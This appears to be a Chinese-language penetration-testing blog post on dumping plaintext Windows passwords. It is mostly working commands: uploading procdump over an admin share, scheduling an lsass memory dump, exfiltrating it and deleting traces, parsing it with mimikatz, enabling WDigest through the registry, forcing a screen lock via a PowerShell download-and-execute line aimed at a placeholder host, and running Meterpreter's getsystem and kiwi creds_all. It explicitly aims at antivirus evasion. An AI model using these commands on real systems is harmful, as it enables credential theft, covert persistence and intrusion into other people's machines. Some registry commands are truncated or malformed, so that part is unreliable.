获取Windows明文密码小技巧

Procdump+Mimikatz

利用Procdump+Mimikatz绕过杀软获取Windows明文密码。

工具准备:

1
2
3
4
procdump:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:
https://github.com/gentilkiwi/mimikatz/

procdump上传到目标主机

  1. 远程桌面连接,若是目标正在登录,容易暴露自己
  2. 与目标建立连接或映射

第一种方法不再多说,详细说说第二种方法

首先我们需要能够访问别人的C$(通常只有管理员可以)

1
2
net use \\target\c$ /user:domain\username password
dir \\target\c$ # 查看目标C盘根目录

上传文件到目标主机

1
2
3
4
mkdir \\target\c$\Temp
dir \\target\c$\Temp
copy c:\temp\procdump.exe \\target\c$\Temp # 拷贝本地c:\temp\procdump.exe到目标C:\Temp
copy c:\temp\procdump.bat \\target\c$\Temp

procdump.bat的内容如下

1
2
@echo off
C:\Temp\procdump.exe -accepteula -ma lsass.exe %COMPUTERNAME%_lsass.dmp

这里一个技巧就是dump得到的文件名中有”计算机名”,这样可以让我们区分dump的文件来自哪台主机

procdump 是微软的官方工具,不会被杀,所以如果你的 mimikatz 不免杀,可以用 procdump 导出 lsass.dmp 后拖回本地抓取密码来规避杀软,也可以采用 pid 方式规避杀软

使用net time来获取远程主机上的时间

1
2
net time \\target
at \\target 13:00 C:\Temp\procdump.bat

拷贝dump的文件,然后清理痕迹

1
2
3
dir \\target\C$\Temp
copy \\target\C$\Temp\*lsass.dmp C:\temp\output\
rmdir /s \\target\C$\Temp

将生成的*lsass.dmp拷贝到本地攻击机,使用mimikatz把结果导出到文本

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > password.txt

成功从内存中提取明文密码

高版本抓取密码

在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。

微软在 win7 之后就打了补丁 kb2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令。Mimikatz 将读不到密码明文。

但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)

以下是支持的系统:

1
2
3
4
5
6
Windows 7
Windows 8
Windows 8.1
Windows Server 2008
Windows Server 2012
Windows Server 2012R 2

开启Wdigest Auth

cmd

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

powershell

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

meterpreter

1
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogon

关闭 Wdigest Auth

cmd

1
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

powershell

1
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

meterpreter

1
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCreden

在开启 Wdigest Auth 后,需要管理员重新登录才能抓明文密码。

强制锁屏

cmd

1
rundll32 user32.dll,LockWorkStation

powershell

1
2
3
4
5
6
7
8
9
10
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
1
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"

重新读取,可读到明文密码。

MSF kiwi模块

使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

1
meterpreter > getuidServer username: BYPASS-E97BA3FC\Administratormeterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).meterpreter > getuidServer username: NT AUTHORITY\SYSTEM

加载kiwi模块:

1
load kiwi

列举系统中的明文密码:

1
creds_all